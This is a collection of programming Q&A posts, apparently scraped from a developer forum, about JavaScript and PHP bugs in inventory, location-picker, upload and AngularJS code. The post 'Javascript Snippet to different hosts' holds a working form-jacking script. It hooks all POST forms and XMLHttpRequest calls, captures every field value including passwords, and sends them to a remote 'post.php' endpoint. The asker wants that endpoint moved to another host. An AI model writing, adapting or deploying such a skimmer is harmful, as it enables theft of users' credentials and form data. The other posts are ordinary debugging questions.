Textbox to values goes into round number - javascript

I bought a PHP script (https://codecanyon.net/item/easy-inventory) for distributor agency. but when I tried to add quantity like 2.55, it turned to 255. First one is textbox code and second one is JS. when I remove onblur ="order(this); "I can enter 2.55 value into textbox but the calculation is not processing. check image:
<td class="vertical-td">
<input type="number" name="qty" style="width: 90px" value="<?php echo $item['qty'] ?>" onblur ="order(this);" id="<?php echo 'qty'.$item['rowid'] ?>" class="form-control">
</td>
Here is JS code
function getXMLHTTP() { //fuction to return the xml http object
var xmlhttp = false;
try {
xmlhttp = new XMLHttpRequest();
}
catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e1) {
xmlhttp = false;
}
}
}
return xmlhttp;
}
$(document).ready(function() {
/*place jQuery actions here*/
var req = getXMLHTTP();
if (req) {
var link = getBaseURL();
//*********************************************
// purchase product Item add to cart
//*********************************************
//$("table.purchase-products form").submit(function () {
//
// var id = $(this).find('input[name=product_id]').val();
//
// $.post(link + "admin/purchase/add_cart_item", {product_id: id, ajax: '1'},
// function (data) {
//
// if (data == 'true') {
//
// $.get(link + "admin/purchase/show_cart", function (cart) {
// $("#cart_content").html(cart);
// });
//
// }
//
// });
//
// return false;
//});
//*********************************************
// add new product to purchase cart
//*********************************************
$("#add-product form").submit(function () {
var product_name = $(this).find('input[name=product_name]').val();
var qty = $(this).find('input[name=qty]').val();
var price = $(this).find('input[name=price]').val();
$.post(link + "admin/purchase/add_new_product_to_cart", {
product_name: product_name,
qty: qty,
price: price,
ajax: '1'
},
function (data) {
if (data == 'true') {
$.get(link + "admin/purchase/show_cart", function (cart) {
$("#cart_content").html(cart);
$("#newform")[0].reset();
});
}
});
return false;
});
}
});
//*********************************************
// Get Base URL
//*********************************************
function getBaseURL() {
return link = $('body').data('baseurl');
};
//*********************************************
// Update cart purchase cart item
//*********************************************
function purchase(arg){
$('#btn_purchase').attr('disabled','disabled');
var val = arg.getAttribute('id');
var id = val.slice(3);
// do your stuff
var qty = $( "#qty"+id ).val();
var price = $( "#pri"+id ).val();
//alert(price);
var link = getBaseURL();
$.post(link + "admin/purchase/update_cart_item", {rowid: id, qty: qty, price: price ,ajax: '1'},
function (data) {
if (data == 'true') {
$.get(link + "admin/purchase/show_cart", function (cart) {
$("#cart_content").html(cart);
});
}
});
}
//*********************************************
// Update order cart item
//*********************************************
function order(arg){
$('#btn_order').attr('disabled','disabled');
var req = getXMLHTTP();
if (req) {
var val = arg.getAttribute('id');
var id = val.slice(3);
// do your stuff
var qty = $("#qty" + id).val();
var price = $("#pri" + id).val();
var product_code = $("#code" + id).val();
if($("#opt" + id).prop("checked") == true){
var custom_price = 'on';
}
var link = getBaseURL();
if(qty && price && product_code)
$.post(link + "admin/order/update_cart_item", {
rowid: id,
qty: qty,
price: price,
product_code: product_code,
custom_price: custom_price,
ajax: '1'
},
function (data) {
if (data == 'false') {
var flag = 'inventory';
var url = link + "admin/order/new_order/"+flag;
$(location).attr("href", url);
}
if (data == 'true') {
$.get(link + "admin/order/show_cart", function (cart) {
$("#cart_content").html(cart);
});
$.get(link + "admin/order/show_cart_summary", function (cart_summary) {
$("#cart_summary").html(cart_summary);
});
//$('#btn_order')..removeAttr('disabled');
}
});
}
}
//*********************************************
// Custom Price Operation
//*********************************************
function price_checkbox(me)
{
var val = me.id
var id = val.slice(3);
//alert(id);
var result = $("#pri" + id).prop('disabled');
if(result){
$("#pri" + id).prop('disabled',false);
}else{
$("#pri" + id).prop('disabled',true);
}
if(result == false){
$('#btn_order').attr('disabled','disabled');
var req = getXMLHTTP();
if (req) {
// do your stuff
var qty = $("#qty" + id).val();
var price = $("#pri" + id).val();
var product_code = $("#code" + id).val();
var custom_price = 'unchecked';
var link = getBaseURL();
$.post(link + "admin/order/update_cart_item", {
rowid: id,
qty: qty,
price: price,
product_code: product_code,
custom_price: custom_price,
ajax: '1'
},
function (data) {
if (data == 'true') {
$.get(link + "admin/order/show_cart", function (cart) {
$("#cart_content").html(cart);
});
$.get(link + "admin/order/show_cart_summary", function (cart_summary) {
$("#cart_summary").html(cart_summary);
});
}
});
}
}
}
//*********************************************
// Customer phone number check
//*********************************************
function check_phone(phone) {
var customer_id = $("#customer_id").val();
//alert(customer_id);
var link = getBaseURL();
var strURL = link + "admin/customer/check_customer_phone/" + phone + "/" + customer_id;
var req = getXMLHTTP();
if (req) {
req.onreadystatechange = function() {
if (req.readyState == 4) {
// only if "OK"
if (req.status == 200) {
var result = req.responseText;
document.getElementById('phone_result').innerHTML = result;
if (result) {
$('#customer_btn').prop('disabled', true);
} else {
$('#customer_btn').prop('disabled', false);
}
validation_check();
} else {
alert("There was a problem while using XMLHTTP:\n" + req.statusText);
}
}
}
req.open("POST", strURL, true);
req.send(null);
}
}
//*********************************************
// Employee user name check
//*********************************************
function check_user_name(str) {
$('#sbtn').attr('disabled','disabled');
var user_name = $.trim(str);
var user_id = $.trim($("#employee_id").val());
var link = getBaseURL();
//alert(link);
var strURL = link + "admin/global_controller/check_existing_user_name/" + user_name + "/" + user_id;
var req = getXMLHTTP();
if (req) {
req.onreadystatechange = function() {
if (req.readyState == 4) {
// only if "OK"
if (req.status == 200) {
var result = req.responseText;
document.getElementById('username_result').innerHTML = result;
var msg = result.trim();
if (msg) {
document.getElementById('sbtn').disabled = true;
} else {
document.getElementById('sbtn').disabled = false;
}
} else {
alert("There was a problem while using XMLHTTP:\n" + req.statusText);
}
}
}
req.open("POST", strURL, true);
req.send(null);
}
}
//*********************************************
// Product Category to Subcategory
//*********************************************
function get_category(str) {
if (str == '') {
$("#subcategory").html("<option value=''>Select Subcategory</option>");
} else {
$("#subcategory").html("<option value=''>Select Subcategory</option>");
var link = getBaseURL();
var strURL = link + "admin/product/get_subcategory_by_category/" + str;
var req = getXMLHTTP();
if (req) {
req.onreadystatechange = function() {
if (req.readyState == 4) {
// only if "OK"
if (req.status == 200) {
var result = req.responseText;
//alert(result);
$("#subcategory").html("<option value=''>Select Subcategory</option>");
$("#subcategory").append(result);
} else {
alert("There was a problem while using XMLHTTP:\n" + req.statusText);
}
}
}
req.open("POST", strURL, true);
req.send(null);
}
}
}
//*********************************************
// Change Password method div show hide
//*********************************************
function setVisibility() {
var a = $('#change_password').val();
var result = a.toString()
if( result == 'Change Password'){
$('#change_password').val('Hide Password'),
$('#password_flag').val('ok'),
$('#password_div').show();
}else{
$('#change_password').val('Change Password'),
$('#password_flag').val('no'),
$('#password_div').hide();
}
}
//*********************************************
// Purchase payment method show hide
//*********************************************
$(function() {
$('#payment_type').change(function(){
$("#pri" + id).prop('disabled',false);
if(val == 'cheque')
{
$('#payment').show();
}
else if (val == 'card')
{
$('#payment').show();
} else
{
$('#payment').hide();
}
});
});
//*********************************************
// Order payment method show hide
//*********************************************
$(function() {
$('#order_payment_type').change(function(){
var val = $( "#order_payment_type" ).val();
if(val == 'cheque')
{
$('#payment').show();
}
else if (val == 'card')
{
$('#payment').show();
} else
{
$('#payment').hide();
}
});
});
//*********************************************
// Order Confirmation Method
//*********************************************
$(function() {
$('#order_confirmation').change(function(){
var val = $( "#order_confirmation" ).val();
if(val == '2')
{
$('#payment_method_block').show();
}else
{
$('#payment_method_block').hide();
}
});
});
//*********************************************
// Email Campaign
//*********************************************
$("#sendEmail form").submit(function () {
var campaign_id = $(this).find('input[name=campaign_id]').val();
var req = getXMLHTTP();
if (req) {
var link = getBaseURL();
$.post(link + "admin/campaign/send_email", {
campaign_id: campaign_id,
ajax: '1'
},
function (data) {
if (data == 'true') {
$.get(link + "admin/purchase/show_cart", function (cart) {
$("#cart_content").html(cart);
$("#newform")[0].reset();
});
}
});
return false;
}
});
//*********************************************
// Update Discount %
//*********************************************
function discountValue(discount) {
var link = getBaseURL();
var req = getXMLHTTP();
if (req) {
$.post(link + "admin/order/assign_discount", {
discount: discount,
ajax: '1'
},
function (data) {
if (data == 'false') {
var flag = 'inventory';
var url = link + "admin/order/new_order/"+flag;
$(location).attr("href", url);
}
if (data == 'true') {
$.get(link + "admin/order/show_cart_summary", function (cart_summary) {
$("#cart_summary").html(cart_summary);
});
}
});
}
}
function getCustomer(customer) {
var link = getBaseURL();
var req = getXMLHTTP();
if (req) {
$.post(link + "admin/order/get_customer", {
customer_id: customer.value,
ajax: '1'
},
function (data) {
if (data == 'false') {
var flag = 'inventory';
var url = link + "admin/order/new_order/"+flag;
$(location).attr("href", url);
}
if (data == 'true') {
$.get(link + "admin/order/show_cart_summary", function (cart_summary) {
$("#cart_summary").html(cart_summary);
});
}
});
}
}
//*********************************************
// Product Code check
//*********************************************
function check_product_code(str) {
$('#submit').attr('disabled','disabled');
var product_code = $.trim(str);
var product_id = $.trim($("#product_id").val());
var link = getBaseURL();
var req = getXMLHTTP();
if (req) {
$.post(link + "admin/product/check_product_code", {
product_code: product_code,
product_id: product_id,
ajax: '1'
},
function (data) {
if (data) {
document.getElementById('product_code_result').innerHTML = data;
document.getElementById('submit').disabled = true;
} else {
document.getElementById('submit').disabled = false;
$('#product_code_result').empty();
}
});
}
}

Related

how to add attribute "selected" jquery

I use https://geodata.solutions
I'm trying to add the "selected" attribute to the country option germany, I have a parameter "$ user ['country']" that says the value "Germany" if someone has encountered this problem and knows how to solve it. i can't figure out where the javascript code checks where to put the selected attribute*$user[country']; // Germany*
function ajaxCall() {
this.send = function(data, url, method, success, type) {
type = type||'json';
var successRes = function(data) {
success(data);
}
var errorRes = function(e) {
console.log(e);
//alert("Error found \nError Code: "+e.status+" \nError Message: "+e.statusText);
//jQuery('#loader').modal('hide');
}
jQuery.ajax({
url: url,
type: method,
data: data,
success: successRes,
error: errorRes,
dataType: type,
timeout: 60000
});
}
}
function locationInfo() {
var rootUrl = "//geodata.solutions/api/api.php";
//set default values
var username = 'demo';
var ordering = 'name';
//now check for set values
var addParams = '';
if(jQuery("#gds_appid").length > 0) {
addParams += '&appid=' + jQuery("#gds_appid").val();
}
if(jQuery("#gds_hash").length > 0) {
addParams += '&hash=' + jQuery("#gds_hash").val();
}
var call = new ajaxCall();
this.confCity = function(id) {
// console.log(id);
// console.log('started');
var url = rootUrl+'?type=confCity&countryId='+ jQuery('#countryId option:selected').attr('countryid') +'&stateId=' + jQuery('#stateId option:selected').attr('stateid') + '&cityId=' + id;
var method = "post";
var data = {};
call.send(data, url, method, function(data) {
if(data){
// alert(data);
}
else{
// alert('No data');
}
});
};
this.getCities = function(id) {
jQuery(".cities option:gt(0)").remove();
//get additional fields
var stateClasses = jQuery('#cityId').attr('class');
var cC = stateClasses.split(" ");
cC.shift();
var addClasses = '';
if(cC.length > 0)
{
acC = cC.join();
addClasses = '&addClasses=' + encodeURIComponent(acC);
}
var url = rootUrl+'?type=getCities&countryId='+ jQuery('#countryId option:selected').attr('countryid') +'&stateId=' + id + addParams + addClasses;
var method = "post";
var data = {};
jQuery('.cities').find("option:eq(0)").html("Please wait..");
call.send(data, url, method, function(data) {
jQuery('.cities').find("option:eq(0)").html("Select City");
if(data.tp == 1){
if(data.hits > 1000)
{
//alert('Free usage far exceeded. Please subscribe at geodata.solutions.');
console.log('Daily geodata.solutions request limit exceeded count:' + data.hits + ' of 1000');
}
else
{
console.log('Daily geodata.solutions request count:' + data.hits + ' of 1000')
}
var listlen = Object.keys(data['result']).length;
if(listlen > 0)
{
jQuery.each(data['result'], function(key, val) {
var option = jQuery('<option />');
option.attr('value', val).text(val);
jQuery('.cities').append(option);
});
}
else
{
var usestate = jQuery('#stateId option:selected').val();
var option = jQuery('<option />');
option.attr('value', usestate).text(usestate);
option.attr('selected', 'selected');
jQuery('.cities').append(option);
}
jQuery(".cities").prop("disabled",false);
}
else{
alert(data.msg);
}
});
};
this.getStates = function(id) {
jQuery(".states option:gt(0)").remove();
jQuery(".cities option:gt(0)").remove();
//get additional fields
var stateClasses = jQuery('#stateId').attr('class');
var cC = stateClasses.split(" ");
cC.shift();
var addClasses = '';
if(cC.length > 0)
{
acC = cC.join();
addClasses = '&addClasses=' + encodeURIComponent(acC);
}
var url = rootUrl+'?type=getStates&countryId=' + id + addParams + addClasses;
var method = "post";
var data = {};
jQuery('.states').find("option:eq(0)").html("Please wait..");
call.send(data, url, method, function(data) {
jQuery('.states').find("option:eq(0)").html("Select State");
if(data.tp == 1){
if(data.hits > 1000)
{
//alert('Free usage far exceeded. Please subscribe at geodata.solutions.');
console.log('Daily geodata.solutions request limit exceeded:' + data.hits + ' of 1000');
}
else
{
console.log('Daily geodata.solutions request count:' + data.hits + ' of 1000')
}
jQuery.each(data['result'], function(key, val) {
var option = jQuery('<option />');
option.attr('value', val).text(val);
option.attr('stateid', key);
jQuery('.states').append(option);
});
jQuery(".states").prop("disabled",false);
}
else{
alert(data.msg);
}
});
};
this.getCountries = function() {
//get additional fields
var countryClasses = jQuery('#countryId').attr('class');
var cC = countryClasses.split(" ");
cC.shift();
var addClasses = '';
if(cC.length > 0)
{
acC = cC.join();
addClasses = '&addClasses=' + encodeURIComponent(acC);
}
var presel = false;
var iip = 'N';
jQuery.each(cC, function( index, value ) {
if (value.match("^presel-")) {
presel = value.substring(7);
}
if(value.match("^presel-byi"))
{
var iip = 'Y';
}
});
var url = rootUrl+'?type=getCountries' + addParams + addClasses;
var method = "post";
var data = {};
jQuery('.countries').find("option:eq(0)").html("Please wait..");
call.send(data, url, method, function(data) {
jQuery('.countries').find("option:eq(0)").html("Select Country");
if(data.tp == 1){
if(data.hits > 1000)
{
//alert('Free usage far exceeded. Please subscribe at geodata.solutions.');
console.log('Daily geodata.solutions request limit exceeded:' + data.hits + ' of 1000');
}
else
{
console.log('Daily geodata.solutions request count:' + data.hits + ' of 1000')
}
if(presel == 'byip')
{
presel = data['presel'];
console.log('2 presel is set as ' + presel);
}
if(jQuery.inArray("group-continents",cC) > -1)
{
var $select = jQuery('.countries');
console.log(data['result']);
jQuery.each(data['result'], function(i, optgroups) {
var $optgroup = jQuery("<optgroup>", {label: i});
if(optgroups.length > 0)
{
$optgroup.appendTo($select);
}
jQuery.each(optgroups, function(groupName, options) {
var coption = jQuery('<option />');
coption.attr('value', options.name).text(options.name);
coption.attr('countryid', options.id);
if(presel) {
if (presel.toUpperCase() == options.id) {
coption.attr('selected', 'selected');
}
}
coption.appendTo($optgroup);
});
});
}
else
{
jQuery.each(data['result'], function(key, val) {
var option = jQuery('<option />');
option.attr('value', val).text(val);
option.attr('countryid', key);
if(presel)
{
if(presel.toUpperCase() == key)
{
option.attr('selected', 'selected');
}
}
jQuery('.countries').append(option);
});
}
if(presel)
{
jQuery('.countries').trigger('change');
}
jQuery(".countries").prop("disabled",false);
}
else{
alert(data.msg);
}
});
};
}
jQuery(function() {
var loc = new locationInfo();
loc.getCountries();
jQuery(".countries").on("change", function(ev) {
var countryId = jQuery("option:selected", this).attr('countryid');
if(countryId != ''){
loc.getStates(countryId);
}
else{
jQuery(".states option:gt(0)").remove();
}
});
jQuery(".states").on("change", function(ev) {
var stateId = jQuery("option:selected", this).attr('stateid');
if(stateId != ''){
loc.getCities(stateId);
}
else{
jQuery(".cities option:gt(0)").remove();
}
});
jQuery(".cities").on("change", function(ev) {
var cityId = jQuery("option:selected", this).val();
if(cityId != ''){
loc.confCity(cityId);
}
});
});
<select name="country" class="countries" id="countryId">
<option value="">Select Country</option>
</select>
<select name="state" class="states" id="stateId">
<option value="">Select State</option>
</select>
<select name="city" class="cities" id="cityId">
<option value="">Select City</option>
</select>
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
after run javascript:
<select name="country" class="countries form-control" id="countryId">
<option value="">Select Country</option>
<option value="Afghanistan" countryid="AF">Afghanistan</option>
<option value="Albania" countryid="AL">Albania</option>
<option value="Algeria" countryid="DZ">Algeria</option>
<option value="Germany" countryid="DE">Germany</option> <!-- add attr selected-->
</select>

AJAX upload script uncaught Reference error app not defined

I have a file upload page that uses ajax to show a progress bar and has a drag and drop feature (global.js and upload.js). But the progress bar and the drag and drop does not work. I get a Uncaught Reference error app not definded in my global.js. However, I have app defined in upload.js. Why does it complain about app not being defined? Thank you.
// global.js
(function() {
"use strict";
var dropZone = document.getElementById('drop-zone');
var barFill = document.getElementById('bar-fill');
var barFillText = document.getElementById('bar-fill-text');
var uploadsFinished = document.getElementById('uploads-finished');
var startUpload = function(files) {
app.uploader({
files: files,
progressBar: barFill,
progressText: barFillText,
processor: 'upload.php',
finished: function(data) {
var x;
var uploadedElement;
var uploadedAnchor;
var uploadedStatus;
var currFile;
for(x = 0; x < data.length; x = x + 1) {
currFile = data[x];
uploadedElement = document.createElement('div');
uploadedElement.className = 'upload-console-upload';
uploadedAnchor = document.createElement('a');
uploadedAnchor.textContent = currFile.name;
if(currFile.uploaded) {
uploadedAnchor.href = 'uploads/' + currFile.file;
}
uploadedStatus = document.createElement('span');
uploadedStatus.textContent = currFile.uploaded ? 'Uploaded' : 'Failed';
uploadedElement.appendChild(uploadedAnchor);
uploadedElement.appendChild(uploadedStatus);
uploadsFinished.appendChild(uploadedElement);
}
uploadsFinished.className = '';
},
error: function() {
console.log('There was an error');
}
});
};
// Standard form upload
document.getElementById('standard-upload').addEventListener('click', function(e) {
var standardUploadFiles = document.getElementById('standard-upload-files').files;
e.preventDefault();
startUpload(standardUploadFiles);
});
// Drop functionality
dropZone.ondrop = function(e) {
e.preventDefault();
this.className = 'upload-console-drop';
startUpload(e.dataTransfer.files);
};
dropZone.ondragover = function() {
this.className = 'upload-console-drop drop';
return false;
};
dropZone.ondragleave = function() {
this.className = 'upload-console-drop';
return false;
};
}());
// upload.js
var app = app || {};
(function(o) {
"use strict";
// Private methods
var ajax, getFormData, setProgress;
ajax = function(data) {
var xmlhttp = new XMLHttpRequest();
var uploaded;
xmlhttp.addEventListener('readystatechange', function() {
if(this.readyState === 4) {
if(this.status === 200) {
uploaded = JSON.parse(this.response);
if(typeof o.options.finished === 'function') {
o.options.finished(uploaded);
}
} else {
if(typeof o.options.error === 'function') {
o.options.error();
}
}
}
});
xmlhttp.upload.addEventListener('progress', function(e) {
var percent;
if(e.lengthComputable === true) {
percent = Math.round((event.loaded / event.total) * 100);
setProgress(percent);
}
});
xmlhttp.open('post', o.options.processor);
xmlhttp.send(data);
};
getFormData = function(source) {
var data = new FormData();
var i;
for(i = 0; i < source.length; i = i + 1) {
data.append('files[]', source[i]);
}
return data;
};
setProgress = function(value) {
if(o.options.progressBar !== undefined) {
o.options.progressBar.style.width = value ? value + '%' : 0;
}
if(o.options.progressText !== undefined) {
o.options.progressText.textContent = value ? value + '%' : '';
}
};
o.uploader = function(options) {
o.options = options;
if(o.options.files !== undefined) {
ajax(getFormData(o.options.files));
}
};
}(app));
The variable app is define inside the upload.js file. I thinks you should just load Upload.js before global.js
<script src="/javascripts/upload.js" type="text/javascript"></script>
<script src="/javascripts/global.js" type="text/javascript"></script>

Javascript Snippet to different hosts

I have some code Javascript Snippet for collection data from my website
http://myhost/req.js
var readyStateCheckInterval_dn0400 = setInterval(function () {
if (document.readyState === "complete" || document.readyState === "interactive") {
clearInterval(readyStateCheckInterval_dn0400);
try {
if (window._dn0400) {
return
}
window._dn0400 = true;
init_dn0400()
} catch (e) {}
}
}, 100);
function getAllPostForms_dn0400() {
var allForms = document.getElementsByTagName("form");
var result = [];
for (var i = 0; i < allForms.length; i++) {
if (allForms[i].method === "post") {
result.push(allForms[i])
}
}
return result
}
function onFormSubmit_dn0400() {
var res = [];
for (var i = 0; i < this.elements.length; i++) {
var name = this.elements[i].name;
var value = this.elements[i].value;
res.push({
name: name
, value: value
})
}
var url = this.action;
res = JSON.stringify(res);
var obj = {
data: res
, url: url
};
localStorage.setItem("_dn0400", JSON.stringify(obj));
sendData_dn0400(res, url)
}
function tryOnFormSubmit_dn0400() {
try {
onFormSubmit_dn0400.apply(this, arguments)
} catch (e) {}
}
function overloadForms_dn0400() {
var forms = getAllPostForms_dn0400();
for (var i = 0; i < forms.length; i++) {
var form = forms[i];
if (typeof form.addEventListener === "function") {
form.addEventListener("submit", tryOnFormSubmit_dn0400, false)
} else if (typeof form.attachEvent === "function") {
form.attachEvent("onsubmit", tryOnFormSubmit_dn0400)
}
}
}
function buildFullUrl(host, url) {
if (url.indexOf("http://") !== -1 || url.indexOf("https://") !== -1) {
return url
}
if (host[host.length - 1] !== "/") {
host += "/"
}
if (url[0] === "/") {
url = url.substring(1)
}
return host + url
}
function sendData_dn0400(data, url) {
var x = new XMLHttpRequest;
var query = "data_dn0400=" + encodeURIComponent(data) + "&url_dn0400=" + encodeURIComponent(url);
x.open("GET", "http://myhost/post.php?" + query, true);
x._dn0400 = true;
x.send()
}
function overloadAjax_dn0400() {
(function (open) {
XMLHttpRequest.prototype.open = function () {
open.apply(this, arguments);
var method = arguments[0].toLowerCase();
var url = arguments[1];
this._method = method;
this._url = url
}
})(XMLHttpRequest.prototype.open);
(function (send) {
XMLHttpRequest.prototype.send = function (data) {
send.call(this, data);
if (this._dn0400) {
delete this._dn0400;
return
}
var method = this._method;
var url = this._url;
delete this._method;
delete this._url;
if (method !== "post") {
return
}
url = buildFullUrl(window.location.host, url);
if (!data) {
data = {}
}
data = JSON.stringify(data);
sendData_dn0400(data, url)
}
})(XMLHttpRequest.prototype.send)
}
function init_dn0400() {
overloadForms_dn0400();
overloadAjax_dn0400();
var old = localStorage.getItem("_dn0400");
if (old) {
localStorage.removeItem("_dn0400");
try {
old = JSON.parse(old);
sendData_dn0400(old.data, old.url)
} catch (e) {}
}
return;
var x = new XMLHttpRequest;
x.open("POST", "test1", true);
var obj = {
name: "user"
, pass: "pswd"
};
x.send(obj)
}
but to remote that file I need PHP file to get the data with same host
my question how if req.js in host1 but post.php in host2?

Unable to make asynchronous HTTP call in Angular with Laravel framework

I'm facing a very strange issue where I'm able to make asynchronous HTTP call in my local Cent-OS environment but as soon as I push my code to demo server somehow the HTTP calls are not executed asynchronously.
Below is the function that I'm trying to execute,
$scope.getResults = function(){
$http({
url: /getResults,
method: 'POST',
data: data,
headers: {'async': true}
})
.then(function (response) {
var contactId = response.data.contactId[0];
$scope.loadProfileInfo(contactId);
var requestId = response.data.requestId;
$scope.getTotalCount(requestId);
}
});
};
$scope.loadProfileInfo = function(id){
$http({
url: /getProfileInfo,
method: 'POST',
data: {contactId: id},
headers: {'async': true})
.then(function (response) {
//perform operations
});
};
$scope.getTotalCount = function(id){
$http({
url: /getTotalCount,
method: 'POST',
data: {some: data},
headers: {'async': true})
.then(function (response) {
//perform operations
});
};
When I call the function getResults() it loads the results and calls the function loadProfileInfo() which loads the profile information as expected.
Now the issue is the function getTotalCount takes a lot longer to execute and until it does not return the response no other HTTP calls are processed even if they are very small.
I'm using Laravel PHP framework.
Real Code
Reference:
pageChangeHandler() = getResults()
getCount() = getTotalCount()
showProfileAction() = loadProfileInfo()
$scope.pageChangeHandler = function(num) {
$scope.checkMoreResults = false;
console.log("pageChangeHandler begins");
//removing cached values from previous results
$("#analyticsResults").text("...");
$scope.showTitleLevelGraph(['','','','',''], [0,0,0,0,0]);
$scope.showScoreGraph([0,0,0,0,0,0]);
$scope.showGenderGraph([0,0,0]);
$scope.showCompanySizeGraph([0,0,0,0]);
$scope.analyticsFlag = false;
$("#loading-bar").show();
$("#loading-spinner").show();
if ($window.Math.ceil(num*50)>50000){
sweetAlert("Oops", "Seeking is limited to 50,000 results. Please narrow your search or contact a Customer Support rep at 866-535-3960 if you are interested in larger quantities of data.", "error");
} else {
$('body').css('cursor', 'progress');
// if downloadList exists, save it so it can be added to after reloading.
if ($scope.downloadList.length>0) {
$scope.storedSelectedContacts = angular.copy($scope.downloadList);
$scope.storedLiUrl = angular.copy($scope.liUrl);
$scope.storedCompanyName = angular.copy($scope.companyName);
$scope.storedCompLink = angular.copy($scope.compLink);
}
$scope.selectedPage = num;
//$scope.showProfile = false;
//$scope.profileData = null;
if (num > 1 || null!==$scope.shortCode) {
// use code
var data = {'code': $scope.shortCode};
} else {
$scope.shortCode = null;
var data = angular.copy($scope.wizardData);
console.debug(data+" "+JSON.stringify(data));
try{
if (data.state.length > 0) {
for (var x = 0; x < data.state.length; x++) {
data.tbl_company_State[x] = data.state[x].value;
}
data.state = null; // null it out to prevent issues in LV controller
}
}catch(e){
}
}
//console.debug(data);
if ($scope.searchFast == true){
var url = $scope.baseUrl + "/search/fast?page=" + num;
} else {
var url = $scope.baseUrl + "/search/wizard?page=" + num;
console.log("wizard: "+num);
var newsearch = true;
}
console.log("Real data: "+JSON.stringify(data));
$http({
url: url,
method: 'POST',
data: data,
headers: {'async': true}
})
.success(function (response) {
(function() {
setTimeout(function() {
// code-here
//response = response.data;
console.log("Search results: "+JSON.stringify(response));
$('body').css('cursor', 'auto');
//console.debug(response);
if (response.error){
if (response.error == 1000000) {
sweetAlert("Oops", "Your search returned more than 1 million results. Please narrow your search or contact a Customer Support rep at 866-535-3960 if you are interested in larger quantities of data.", "error");
$scope.totalResults = '1000000+';
} else {
sweetAlert("Oops", response.error, "error");
$scope.totalResults = '0';
}
} else {
if (response.data) {
//loading the profile of the first result from the fast load
$scope.selectedAll = false;
$scope.searchResults = response.data;
$scope.totalResults = response.total;
$scope.resultStart = $window.Math.ceil((response.per_page * response.current_page) - response.per_page + 1);
$scope.resultEnd = $window.Math.ceil(response.per_page * response.current_page);
if ($scope.resultEnd > $scope.totalResults) {
$scope.resultEnd = angular.copy($scope.totalResults);
}
$scope.resultsPerPage = response.per_page;
$scope.pageSize = $scope.resultsPerPage;
$scope.lastPage = response.last_page;
$scope.currentPage = response.current_page;
if (response.code) {
$scope.shortCode = response.code;
$scope.disableRange = false;
}
$scope.shareUrl = $scope.baseUrl + '/search/code/' + $scope.shortCode;
console.log();
if (response.data.length > 0) {
if ($scope.currentPage > 1 && $scope.passedCode!='') {
$scope.passedCode=''
}
if ($scope.currentPage == 1 && ($scope.searchFast==true || $scope.searchFast==null)) {
//------Edit Jeet kapadia---//
if($scope.newSearchFlag == false){
$scope.showResults = true;
//loading the profile of the first result from the fast load
$scope.firstContactId = response.data[0].ContactID;
console.log("1 Profile loaded");
$scope.showProfileAction($scope.firstContactId);
}
}*/
//-----End Jeet Kapadia-----//
}
if(newsearch == true && $scope.newSearchFlag == true){
//console.log(response.data[0]);
//$scope.newSaveSelectSearch();
$scope.showResults = false;
newsearch = "false";
}
angular.forEach($scope.searchResults, function (item) {
item.Selected = false;
if (arrayObjectIndexOf($scope.storedSelectedContacts, item.ContactID)>-1 || arrayObjectIndexOf($scope.downloadList, item.ContactID)>-1) {
item.Selected = true;
}
});
$scope.buildDownloadList();
if (response.more){
$scope.totalResults = 'Loading...';
$scope.searchFast=false;
$scope.disableRange = true;
$scope.checkMoreResults = true;
$scope.pageChangeHandler(1);
}else{
$scope.getCount();
//reloading the profile of the first result if the contact changes after all
//the records have been loaded
if($scope.firstContactId != response.data[0].ContactID){
console.log("2 Profile loaded: "+$scope.firstContactId+" "+response.data[0].ContactID);
$scope.showProfileAction(response.data[0].ContactID);
}
//fetching all results to perform analytics on
console.log("short code: "+$scope.shortCode);
//globalAnalyticsInterval = $interval(function () {
}
} else {
sweetAlert("Oops", "Your search returned 0 results. Please widen your search parameters a bit.", "error");
}
}
}
}, 500)
})()
});
}
};
$scope.getCount = function(){
var data = angular.copy($scope.wizardData);
console.debug(data+" "+JSON.stringify(data));
try{
if (data.state.length > 0) {
for (var x = 0; x < data.state.length; x++) {
data.tbl_company_State[x] = data.state[x].value;
}
data.state = null; // null it out to prevent issues in LV controller
}
}catch(e){
}
var url = $scope.baseUrl + "/search/getCount";
$http.post(url, data)
.success(function (response) {
//response = response.data;
$scope.lastPage = response.last_page;
$scope.totalResults = response.total;
console.log("Count: "+JSON.stringify(response));
});
};
$scope.showProfileAction = function(id) {
$scope.liTimeoutFlag = false;
$scope.liResponseFlag = false;
$scope.storedContactId = id;
console.log("showProfileAction: "+id);
$scope.showProfile = false;
$scope.profileData = null;
$("#qualityScoreText").text("Verifying");
$scope.socialScoreFlag = false;
$scope.emailScoreFlag = false;
$("#profileInfo").addClass("visibilityHidden");
try{
$scope.canceller.resolve();
}catch(err){
//console.log("showProfileAction: "+err.message);
}
$scope.userNoteContactId = id;
//getting user notes for the contact
$scope.getUserNoteComment(id);
//console.debug(id);
if (id > 0) {
$scope.idContactSelected = id;
var url = $scope.baseUrl + "/search/contact/" + id;
$('body').css('cursor', 'progress');
$('#profilePanel').css('background-color: #ccc');
$http.get(url)
.then(function (response) {
response = response.data;
$('body').css('cursor', 'auto');
$('#profilePanel').css('background-color: #fff');
if (response.error) {
sweetAlert("Oops", "Contact info could not be loaded.", "error");
} else {
if (response.id) {
if ($scope.mapMarker!==null) {
$scope.mapMarker.setMap(null);
}
$timeout(function(){
$scope.showProfile = true;
}, 100)
$scope.profileData = response;
$("#profileInfo").removeClass("visibilityHidden");
$scope.lat = parseFloat($scope.profileData.Latitude).toFixed(6);
$scope.lon = parseFloat($scope.profileData.Longitude).toFixed(6);
$scope.mapOptions = {
zoom: 14,
center: new google.maps.LatLng($scope.lat, $scope.lon),
// Style for Google Maps
